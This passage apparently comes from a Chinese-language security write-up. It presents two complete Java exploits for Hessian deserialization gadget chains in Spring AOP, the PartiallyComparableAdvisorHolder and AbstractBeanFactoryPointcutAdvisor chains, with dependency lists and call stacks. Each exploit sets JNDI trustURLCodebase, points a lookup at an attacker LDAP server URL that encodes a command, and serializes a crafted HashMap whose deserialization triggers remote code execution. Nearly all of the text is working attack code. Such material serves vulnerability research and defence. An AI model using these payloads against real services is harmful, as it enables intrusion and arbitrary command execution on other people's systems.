if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
Spring PartiallyComparableAdvisorHolder链
依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.22</version>
</dependency>
exp:
package com.hessian.hessianspring.demos.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAfterAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support)
* SimpleJndiBeanFactory.getType() (org.springframework.jndi.support)
* BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation)
* AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj)
* AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj)
* AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy)
* XString.equals() (com.sun.org.apache.xpath.internal.objects)
* HotSwappableTargetSource.equals() (org.springframework.aop.target) //可忽略
* HashMap.putVal()
* HashMap.put()
* MapDeserializer.readMap()
* SerializerFactory.readMap()
* Hessian2Input.readObject()
*/
public class SpringPartiallyComparableEXP {
public static Object createWithoutCons(String cls) throws Exception{
Class<?> clazz = Class.forName(cls);
Field unsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFiledValue(Object o,String filedname,Object value) throws Exception {
Field field = null;
try{
field = o.getClass().getDeclaredField(filedname);
}catch (NoSuchFieldException e){
field = o.getClass().getSuperclass().getDeclaredField(filedname);
}
field.setAccessible(true);
field.set(o,value);
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(evilJndi);
// BeanFactoryAspectInstanceFactory instanceFactory = new BeanFactoryAspectInstanceFactory(simpleJndiBeanFactory, evilJndi);
BeanFactoryAspectInstanceFactory instanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutCons("org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory");
setFiledValue(instanceFactory,"beanFactory",simpleJndiBeanFactory);
setFiledValue(instanceFactory,"name",evilJndi);
// 实例化抽象类AbstractAspectJAdvice的子类AspectJAfterAdvice
// AspectJAfterAdvice aspectJAfterAdvice = new AspectJAfterAdvice(null, null, instanceFactory);
AspectJAfterAdvice aspectJAfterAdvice = (AspectJAfterAdvice) createWithoutCons("org.springframework.aop.aspectj.AspectJAfterAdvice");
setFiledValue(aspectJAfterAdvice,"aspectInstanceFactory",instanceFactory);
// AspectJPointcutAdvisor aspectJPointcutAdvisor = new AspectJPointcutAdvisor(aspectJAfterAdvice);
AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor) createWithoutCons("org.springframework.aop.aspectj.AspectJPointcutAdvisor");
setFiledValue(aspectJPointcutAdvisor,"advice",aspectJAfterAdvice);
Class<?> clazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Class<?> comparatorClass = Class.forName("java.util.Comparator");
Constructor<?> constructor = clazz.getDeclaredConstructor(Advisor.class,comparatorClass);
constructor.setAccessible(true);
Object partiallyComparableAdvisorHolder = constructor.newInstance(aspectJPointcutAdvisor,null);
XString xString = new XString("1");
// xString.equals(partiallyComparableAdvisorHolder);
HotSwappableTargetSource t1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
HotSwappableTargetSource t2 = new HotSwappableTargetSource(xString);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
HashMap hashMap = new HashMap();
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, t1, "t1", null);
Object node2 = nodeCC.newInstance(1, t2, "t2", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
// FileOutputStream baos = new FileOutputStream("exp.bin");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hout = new HessianOutput(baos);
hout.setSerializerFactory(serializerFactory);
hout.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// FileInputStream bais = new FileInputStream("exp.bin");
HessianInput hessianInput = new HessianInput(bais);
hessianInput.readObject();
}
}
部分代码讲解:
public static Object createWithoutCons(String cls) throws Exception{
Class<?> clazz = Class.forName(cls);
Field unsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);
return unsafe.allocateInstance(clazz);
}
这里绕过构造器实例化类,防止提前触发代码或调用super构造器报错,直接分配内存实现
Spring AbstractBeanFactoryPointcutAdvisor链
依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.26</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.26</version>
</dependency>
调用栈:
SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
AbstractBeanFactoryPointcutAdvisor.getAdvice() (org.springframework.aop.support)
AbstractPointcutAdvisor.equals() (org.springframework.aop.support)
HotSwappableTargetSource.equals() (org.springframework.aop.target)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()
exp:
package com.hessian.hessianspring.demos.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
* AbstractBeanFactoryPointcutAdvisor.getAdvice() (org.springframework.aop.support)
* AbstractPointcutAdvisor.equals() (org.springframework.aop.support)
* HotSwappableTargetSource.equals() (org.springframework.aop.target)
* HashMap.putVal()
* HashMap.put()
*/
public class SpringAbstractBeanFactoryEXP {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.addShareableResource(evilJndi);
DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
advisor1.setAdviceBeanName(evilJndi);
advisor1.setBeanFactory(simpleJndiBeanFactory);
AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();
HotSwappableTargetSource t1 = new HotSwappableTargetSource(advisor1);
HotSwappableTargetSource t2 = new HotSwappableTargetSource(advisor2);
HashMap hashMap = new HashMap();
// hashMap.put(t1,"aaa");
// hashMap.put(t2,"bbb");
Class nodeC;
try{
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCC.setAccessible(true);
Object node1 = nodeCC.newInstance(0, t1, "test", null);
Object node2 = nodeCC.newInstance(1, t2, "test", null);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, node1);
Array.set(tbl, 1, node2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
// 序列化
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(baos);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(hashMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
new HessianInput(bais).readObject();
}
}